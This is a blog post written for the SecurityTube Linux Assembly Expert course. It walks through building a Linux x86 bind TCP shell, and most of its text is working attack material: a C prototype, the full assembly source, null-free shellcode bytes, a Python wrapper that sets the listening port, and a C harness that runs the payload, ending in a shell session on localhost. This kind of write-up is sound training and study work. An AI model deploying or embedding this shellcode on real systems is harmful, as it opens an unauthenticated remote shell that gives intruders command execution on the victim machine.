SLAE Assignment 1 – TCP Bind Shell

13 minute read

Introduction

The first SLAE assignment is to develop shellcode for a bind TCP shell. What is a bind TCP shell? According to Infosec Institute, a bind shell is “a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.”

I found that while not an easy subject, the actual assembly code construction was not very difficult. The learning curve from this assignment really came from trying to wrap my head around ‘socket programming’ fundamentals. The hardest part for me was trying to parse man page information about the various syscalls and trying to understand how to format the arguments required for each syscall. I am not a professional programmer, I apologize for any socket programming concepts I butchered in my explanations.

Prototype

The first thing we want to do, in order to see the syscalls required to support the creation of a bind shell, is find the simplest implementation of a bind shell in a language higher than assembly. After a bit of googling, the simplest version of a bind shell in C that I could find is the following, with my comments added:

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

    // This is our first syscall, the socket() call. 
    int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

    // It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()    
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;           
    server_addr.sin_addr.s_addr = INADDR_ANY;  
    server_addr.sin_port = htons(5555);        

    // Our second syscall, and perhaps the most complicated: bind() 
    bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // Our third syscall is listen()
    listen(listen_sock, 0);

    // Our fourth syscall is accept() 
    int conn_sock = accept(listen_sock, NULL, NULL);

    // Our fifth syscall, dup2(), is used 3 times
    dup2(conn_sock, 0);
    dup2(conn_sock, 1);
    dup2(conn_sock, 2);

    // Our final syscall is execve(), which runs a program fed to it as a string
    execve("/bin/sh", NULL, NULL);
}

Now that that’s settled, it’s become apparent we need to execute 6 syscalls in our assembly code:

socket
bind
listen
accept
dup2
execve

Building Our Assembly Code

Assembly Skeleton Code

global_start

section .txt
_start:

The first thing we want to do is to clear out the registers we’re going to use immediately. How do we know what registers we want to use? You can think of your syscall as something like an argv[0] in a command line program. So that’s always going to correspond with the first register, EAX. Subsequent arguments will follow sequentially: argv[1] will correspond to EBX, argv[2] will correspond to ECX, etc.

If we consult man 2 socket for our first syscall, socket, we see that it takes 3 arguments in the following fashion:int socket(int domain, int type, int protocol);

So counting the syscall itself and its 3 arguments, we need to clear the first 4 registers so that we can work with those. Let’s clear them by XOR’ing them with themselves so that we clear them in a way that does not introduce NULL BYTEs into our shellcode.

global_start

section .txt
_start: 
  
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

Socket Syscall

Let’s now figure out what we’re going to put into EAX to call socket. We can do this with a cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket which tells us that the code for socket is 359. Popping 359 as decimal into a hex converter tells us that the hex equivalent is 0x167, so let’s place that in the low space of EAX so as to not introduce any NULL BYTEs with padding.

    mov al, 0x167

Now let’s start with the arguments. man 2 socket tells us that the first argument is int domain which we see in the man page is AF_INET for IPv4. Let’s just google ‘value for AF_INET’ and see what value we should use in the argument. Our first result is a university webpage which looks to be a header file explaining not only the value of AF_INET but also of SOCK_STREAM which is going to be our second value to satisfy the int type argument. According to the file, AF_INET is 2 and SOCK_STREAM is 1 (0x02 and 0x01) respectively. The last argument value for int protocol is going to be ‘0’ according to the man page. So we need the following register and value combinations:

EBX == 0x02
ECX == 0x01
EDX == 0

Let’s make these changes to our assembly code. If you remember, we already cleared EDX, so our zero value is already accounted for, so need to mess with that register at all.

    mov bl, 0x02
    mov cl, 0x01

Next we need to pass control to the interrupt vector in order to handle our syscall (socket).

    int 0x80

Lastly, before moving on, we will need a way to identify this socket we’ve just created to subsequent systemcalls. We can do this by storing the value of EAX off to the side so that we can reference it later and still use EAX in our subsequent systemcalls. I chose to store this value in EDI as EDI is pretty far down our list of registers we’d fill arguments with, no idea if this makes sense, but it worked!

    mov edi, eax

Bind Syscall

Now we need to bind a ‘name’ to our newly created socket. First thing we want to do here is clear out EAX so that we can put the value of our bind call into the lower part of the register as we did above with socket. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket gives us a value of 361 which is 0x169

Let’s make these changes to our code

    xor eax, eax
    mov al, 0x169

Now we need to consult man 2 bind to figure out the structure of the arguments this syscall requires. The result is int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

These arguments can be summarized at a high-level as follows:

int sockfd – this is a reference to the socket we just created, this is why we moved EAX into EDI
const struct sockaddr *addr – this is a pointer to the location on the stack of the sockaddr struct we are going to create
socklen_t addrlen – this is the length of the address which the /usr/include/linux/in.h file tells us is 16

Let’s start with satisfying the int sockfd argument.

    mov ebx, edi

Now, let’s start creating our sockaddr struct on the stack. A sockets programming tutorial tells us that the sockaddr_in struct for the bind syscall consists of the following 4 components:

AF_INET
Port Number
Internet address
0

Let’s start moving these values into the registers. Our port number will be 5555 and our internet address will be 0.0.0.0

Because the stack grows from High to Low, we will have to place these arguments onto the stack in reverse order. We will also have to put our port number in Little Endian format, so instead of 0x15b3, we will place 0xb315 onto the stack.

    xor ecx, ecx
    push ecx
    push ecx
    push word 0xb315
    push word 0x02

Boom! Struct completed. Let’s put the pointer to this entity into the ECX register so that we can satisfy our const struct sockaddr *addr argument. We’ll also put 16 into the low part of the EDX register and call the interrupt again while we’re here since that’s easy enough.

    mov ecx, esp
    mov dl, 16
    int 0x80

Listen Syscall

Now we have to condition our bound socket to listen for incoming connections. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep listen nets us the code 363 for listen (0x16b).

    xor eax, eax
    mov ax, 0x16b

man 2 listen tells us that the argument structure for the syscall is int listen(int sockfd, int backlog)

int sockfd is again, just a reference to the socket we created that we took out of EAX and stored off to the side in EDI initially. From what I understand after reading about it, int backlog is just a reference to how many connections you want to queue if your socket is not immediately accepting connections. The way our code works, we want to immediately accept the first incoming connection, so this value can be 0 for us. With EBX and ECX figured out, we can now call interrupt and move on.

    mov ebx, edi
    xor ecx, ecx
    int 0x80

Accept Syscall

We have our socket created, bound to an interface and port, and listening for connections. Next, we need to make it accept incoming connections. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep accept gives us the code for ‘accept4()’ which is 364 (0x16c).

    xor eax, eax
    mov ax, 0x16c

man 2 accept4 gives us an argument structure of accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags)

The mang page also states that the arguments after int sockfd (which we still have stored in EDI), can be given as NULL, NULL, 0 respectively. This is easy to pull off. So after we put EDI into EBX, we can just XOR the next 3 registers against themselves and call interrupt.

    mov ebx, edi
    xor ecx, ecx
    xor edx, edx
    xor esi, esi
    int 0x80

If you read the accept4 man page carefully, the RETURN VALUE section states that after this syscall, we will receive a new int sockfd that we will need to use in subsequent syscalls. The original int sockfd was stored off to the side in EDI, so we’ll do that with the new one as well.

    xor edi, edi
    mov edi, eax

Dup2 Syscall

If we reference our C prototype, we see that the dup2 call is iterating 3 times in order to duplicate into our accepted connection the STDIN (0), STDOUT (1), and STDERR (2) file descriptors which makes the connection interactive for the user. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2 gives a syscall code of 63 (0x3f).

Since we’re iterating through this call 3 times, we’ll need to set up a loop. We can utilize ECX for this as it’s known as the ‘counter register.’ We’ll place a value of 3 into the lower part of ECX and have our loop iterate as long as the zero flag is not set with a jnz op code. So as long as the zero flag is not set, which is to say that ECX hasn’t been decremented to zero, our code will jump back up to the beginning of the loop and execute it again.

All that dup2 requires for an argument is the int sockfd which was newly created in our accept syscall and stored in EDI.

    mov cl, 0x3     ; putting 3 in the counter
    
    loop_dup2:      
    xor eax, eax   
    mov al, 0x3f    ; putting the syscall code into the lower part of eax
    mov ebx, edi    ; putting our new int sockfd into ebx
    dec cl          ; decrementing cl by one
    int 0x80
    
    jnz loop_dup2   ; jumping back to the top of loop_dup2 if the zero flag is not set

Execve Syscall

Finally, we need to tell the program what to do once everything we’ve done so far is complete. In our case, we want the program to execute /bin/sh.

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve gives us 11 (0x0b).

Let’s clear out EAX

    xor eax, eax

We will be utilizng the stack for these arguments. So we will be doing things in slightly a different order than our previous syscalls. This particular syscall requires null terminators and pointers to stack locations. Remember the stack grows from High to Low so first we need to put a terminator onto the stack.

    push eax

Next, we need to place the string /bin/sh onto the stack in reverse order. However, before we do this and in order to avoid NULL BYTEs in our shellcode, we need to make sure that the string is divisable by 4. Right now, it’s 7 characters so we add an additional character to make it an even 8. //bin/sh

    push 0x68732f6e
    push 0x69622f2f

Next, we need EBX to carry the pointer location of the entity we just created on the stack.

    mov ebx, esp

Next, we will need another zeroed out value to be pointed to for EDX, so let’s push EAX onto the stack once more and then assign the ESP to EDX.

    push eax
    mov edx, esp

Finally, ECX should point to the location of EBX. So we’ll push EBX onto the stack and then move ESP into ECX.

    push ebx
    mov ecx, esp

Now we can put our 0x0b into the lower portion of EAX and call our interrupt.

    mov al, 0x0b
    int 0x80

Completed Assembly Code

global_start

section .text
_start: 
	
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	
	; SYS CALL #1 = socket()
	
	mov ax, 0x167
	mov bl, 0x02
	mov cl, 0x01
	
	int 0x80
	mov edi, eax

	; SYS CALL #2 = bind()
	
	xor eax, eax
	mov ax, 0x169
	mov ebx, edi
	xor ecx, ecx
	push ecx
	push ecx
  	push word 0xb315
	push word 0x02

	mov ecx, esp
	mov dl, 16 
	
	int 0x80

	; SYSCALL #3= listen()

  	xor eax, eax
	mov ax, 0x16b
	mov ebx, edi
	xor ecx, ecx
	
	int 0x80

	; SYSCALL #4 = accept4()
	
	xor eax, eax
	mov ax, 0x16c
	mov ebx, edi
	xor ecx, ecx
	xor edx, edx
	xor esi, esi
  
	int 0x80

	xor edi, edi
	mov edi, eax

	; SYSCALL #5 = dup2()
	
  	mov cl, 0x3
	
	loop_dup2:
	xor eax, eax ; clearing out eax
	mov al, 0x3f ; setting the value to the syscall code
	mov ebx, edi ; putting our new_fd we got from our accept return code
	dec cl       ; decrementing the counter register by 1
	int 0x80     ; interrupt call

	jnz loop_dup2 ; if the counter register hasn't hit zero and set the zero flag, it will jump back to the top of our loop

	; SYSCALL #6 = execve()
 
  	xor eax, eax
	push eax
	push 0x68732f6e
	push 0x69622f2f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 0x0b

  	int 0x80

Shellcode

Our shellcode is:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Looks to be null free!

Python Wrapper

The next criteria we have to satisfy for the assignment, is to have the bind shell code created dynamically with user input for a port number. I have created a python wrapper to accomplish this.

#!/usr/bin/python

import socket
import sys

shell1 =  ""
shell1 += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01"
shell1 += "\\xcd\\x80\\x89\\xc7\\x31\\xc0\\x66\\xb8\\x69\\x01\\x89\\xfb\\x31\\xc9\\x51\\x51"
shell1 += "\\x66\\x68"
shell2 = ""
shell2 += "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x66"
shell2 += "\\xb8\\x6b\\x01\\x89\\xfb\\x31\\xc9\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89"
shell2 += "\\xfb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\xcd\\x80\\x31\\xff\\x89\\xc7\\xb1\\x03\\x31"
shell2 += "\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x6e"
shell2 += "\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1"
shell2 += "\\xb0\\x0b\\xcd\\x80"

if len(sys.argv) != 2:
	print 'Usage: wrapper.py <port>'
	exit
else:

	try:

		portNumber = sys.argv[1]
		portNumber = int(portNumber)
		portNumber = socket.htons(portNumber)
		portNumber = hex(portNumber)

		portNum1 = portNumber[2:4]
		portNum2 = portNumber[4:6]

		portNum1 = str(portNum1)
		portNum1 = "\\x" + portNum1

		portNum2 = str(portNum2)
		portNum2 = "\\x" + portNum2

		combined = portNum2 + portNum1

		shell = shell1 + combined + shell2

	
		print shell

	except:
	
		print "Oops, I\'m bad at python!" 

Let’s test out our wrapper!

SLAE@ubuntu:~/SLAE/Exam$ python wrapper.py 1234
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Now, we paste this shellcode into our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31"
"\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\xb2"
"\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01"
"\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89"
"\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Final Testing

Compile the shellcode.c program with gcc -fno-stack-protector -z execstack -m32 shellcode.c -o bind_shell and run ./bind_shell

SLAE@ubuntu:~/SLAE/Exam$ ./bind_shell
Shellcode Length:  116

SLAE@ubuntu:~/SLAE/Exam$ nc localhost 1234
whoami
SLAE
id
uid=1000(SLAE) gid=1000(SLAE) groups=1000(SLAE),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
uname -a
Linux ubuntu 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:26:51 UTC 2018 i686 i686 i686 GNU/Linux

It works!!

Github Repo

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1458

You can find all of the code used in this blog post here.

Share on

Twitter Facebook Google+ LinkedIn

h0mbre